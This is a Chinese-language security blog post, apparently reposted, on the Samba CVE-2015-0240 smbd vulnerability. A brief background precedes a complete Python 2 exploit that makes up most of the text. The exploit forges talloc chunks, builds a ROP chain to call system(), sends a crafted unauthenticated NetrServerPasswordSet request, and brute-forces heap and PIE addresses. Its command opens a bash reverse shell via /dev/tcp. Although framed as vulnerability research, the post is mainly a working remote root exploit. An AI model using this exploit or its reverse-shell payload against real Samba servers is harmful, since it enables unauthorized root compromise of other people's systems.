Samba CVE-2015-0240 远程代码执行漏洞
背景
2015年2月23日,Red Hat产品安全团队发布了一个Samba服务端smbd的漏洞公告 [1],该漏洞编号为CVE-2015-0240,几乎影响所有版本。该漏洞的触发并不需要通过Samba服务器的账号认证,而smbd服务端通常以root权限运行,如果漏洞能够被用来实现任意代码执行,则攻击者可以远程获取系统root权限,危害极其严重,因此该漏洞的CVSS评分也达到了10。
该漏洞的基本原理是栈上未初始化的指针被传入TALLOC_FREE()
函数。想要利用这个漏洞,首先需要控制栈上未初始化的数据,这和编译生成的二进制文件中栈的布局有关。因此少数国外的安全研究人员针对不同Linux发行版上的二进制文件做了分析,其中Worawit Wang(@sleepya_)给出了较好的结果,他证实了在Ubuntu 12.04 x86 (Samba 3.6.3)和Debian 7 x86 (Samba 3.6.6)中,这个漏洞是可以被用来实现远程代码任意执行的,参考 [2] 中的注释。之后,英格兰老牌安全公司NCC Group的研究人员给出了漏洞利用的思路 [4],但是也未给出利用细节和exploit代码。本文详细分析并实现了Ubuntu 12.04 x86(Debian 7 x86情况类似)平台下Samba服务端远程代码任意执行的exploit。
1.Samba vulnerability (CVE-2015-0240)
2.PoC for Samba vulnerabilty (CVE-2015-0240)
3.Samba _netr_ServerPasswordSet Expoitability Analysis
4.Exploiting Samba CVE-2015-0240 on Ubuntu 12.04 and Debian 7 32-bit
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 |
#!/usr/bin/env python2 # Author: kelwin@chaitin.com # sudo apt-get install samba=2:3.6.3-2ubuntu2 samba-common=2:3.6.3-2ubuntu2 libwbclient0=2:3.6.3-2ubuntu2 import sys import signal import time # https://github.com/zTrix/zio from zio import * from multiprocessing import Pool, Manager import impacket from impacket.dcerpc.v5 import transport, nrpc from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5.dtypes import * host = '127.0.0.1' port = 445 cmd = "bash -c 'bash >/dev/tcp/127.0.0.1/1337 0<&1 '\0" # 0x0041e2cb: pop eax ; pop esi ; pop edi ; pop ebp ; ret ; pop4ret_o = 0x41e2cb # 0x000a6d7c: lea esp, dword [ecx-0x04] ; ret ; popebx_o = 0x006fd522 pivot_o = 0xa6d7c got_o = 0x9cd640 fmt_o = 0x8e043e system_o = 0xa4250 snprintf_o = 0xa3e20 bss_o = 0x9d5dc0 pie = 0x80000000 free_addr = 0x809fa10c + 8 + 32 def exploit(free_addr, pie=0, destructor=-1, step=0x80): pivot = pie + pivot_o pop4ret = pie + pop4ret_o popebx = pie + popebx_o got = pie + got_o fmt = pie + fmt_o system = pie + system_o snprintf = pie + snprintf_o bss = pie + bss_o if pie != 0: destructor = pivot # struct talloc_chunk { # struct talloc_chunk *next, *prev; # struct talloc_chunk *parent, *child; # struct talloc_reference_handle *refs; // refs = 0 # talloc_destructor_t destructor; // destructor = -1: (No Crash), others: controled EIP # const char *name; # size_t size; # unsigned flags; // magic # void *poo # }; talloc_chunk = l32(0) # refs => 0 talloc_chunk += l32(destructor) # destructor => control EIP talloc_chunk += l32(pop4ret) # pop4ret talloc_chunk += 'leet' # talloc_chunk += l32(0xe8150c70) # flags => magic # ebx => got rop = l32(popebx) + l32(got) # write cmd to bss for i in xrange(len(cmd)): c = cmd[i] rop += l32(snprintf) + l32(pop4ret) rop += l32(bss + i) + l32(2) + l32(fmt) + l32(ord(c)) # system(cmd) rop += l32(system) + 'leet' + l32(bss) payload = 'deadbeef' payload += talloc_chunk * 0x1000 * step payload += 'leet' * 2 payload += rop.ljust(2560, 'C') payload += 'cafebabe' + '\0' username = '' password = '' ### # impacket does not implement NetrServerPasswordSet ### # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6) class NetrServerPasswordSet(NDRCALL): opnum = 6 structure = ( ('PrimaryName',nrpc.PLOGONSRV_HANDLE), ('AccountName',WSTR), ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE), ('ComputerName',WSTR), ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR), ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) class NetrServerPasswordSetResponse(NDRCALL): structure = ( ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR), ('ErrorCode',NTSTATUS), ) nrpc.OPNUMS[6] = (NetrServerPasswordSet, NetrServerPasswordSetResponse) ### # connect to target ### rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % host) rpctransport.set_credentials('','') # NULL session rpctransport.set_dport(port) # impacket has a problem with SMB2 dialect against samba4 # force to 'NT LM 0.12' only rpctransport.preferred_dialect('NT LM 0.12') dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) sessionKey = '\x00' * 16 ### # prepare ServerPasswordSet request ### authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey) authenticator['Timestamp'] = 10 uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD() uasNewPass['Data'] = payload primaryName = nrpc.PLOGONSRV_HANDLE() # ReferentID field of PrimaryName controls the uninitialized value of creds in ubuntu 12.04 32bit primaryName.fields['ReferentID'] = free_addr request = NetrServerPasswordSet() request['PrimaryName'] = primaryName request['AccountName'] = username + '\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel request['ComputerName'] = host + '\x00' request['Authenticator'] = authenticator request['UasNewPassword'] = uasNewPass DCERPCSessionError = nrpc.DCERPCSessionError try: resp = dce.request(request) print("no error !!! error code: 0xc0000225 or 0xc0000034 is expected") print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except DCERPCSessionError as e: # expect error_code: 0xc0000225 - STATUS_NOT_FOUND # expect error_code: 0xc0000034 - STATUS_OBJECT_NAME_NOT_FOUND print("seems not vulnerable") # resp.dump() dce.disconnect() return 2 except impacket.nmb.NetBIOSError as e: # print 'exception occured' if e.args[0] == 'Error while reading from remote': # print("connection lost!!!\nmight be vulnerable") return 1 else: raise except AttributeError: # print("exception") return 0 def init_worker(): signal.signal(signal.SIGINT, signal.SIG_IGN) def guess_heap(free_addr, step, hits): if len(hits) > 0: return log("[+] trying heap addr %s" % hex(free_addr), 'green') res = exploit(free_addr, destructor=-1, step=step) if res == 0: res = exploit(free_addr, destructor=0, step=step) if res != 0: log("hit: %s" % hex(free_addr), 'red') hits.append(free_addr) def guess_pie(free_addr, pie, step): log("[+] trying pie base addr %s" % hex(pie), 'green') try: exploit(free_addr, pie=pie, step=step) except impacket.nmb.NetBIOSTimeout: pass def brute_force_heap(step): hit = False print "Initializng 10 processes for brute forcing heap address..." pool = Pool(10, init_worker) manager = Manager() hits = manager.list() for free_addr_base in range(0xb7700000, 0xba000000, 0x1000 * step * 20): for offset in xrange(5): pool.apply_async(guess_heap, (free_addr_base + offset * 4, step, hits)) try: while True: time.sleep(5) if len(hits) > 0: pool.terminate() pool.join() return hits[0] except KeyboardInterrupt: print "Caught KeyboardInterrupt, terminating..." pool.terminate() pool.join() sys.exit(0) def brute_force_pie(free_addr, step): print "Initializng 10 processes for brute forcing PIE base address..." pool = Pool(10, init_worker) for pie in range(0xb6d00000, 0xb6f00000, 0x1000): pool.apply_async(guess_pie, (free_addr, pie, step)) try: time.sleep(60 * 60) except KeyboardInterrupt: print "Caught KeyboardInterrupt, terminating..." pool.terminate() pool.join() else: pool.close() pool.join() step = 0x1 free_addr = brute_force_heap(step) brute_force_pie(free_addr, step) |
From:http://blog.chaitin.com/samba_exploit_cve-2015-0240
暂无评论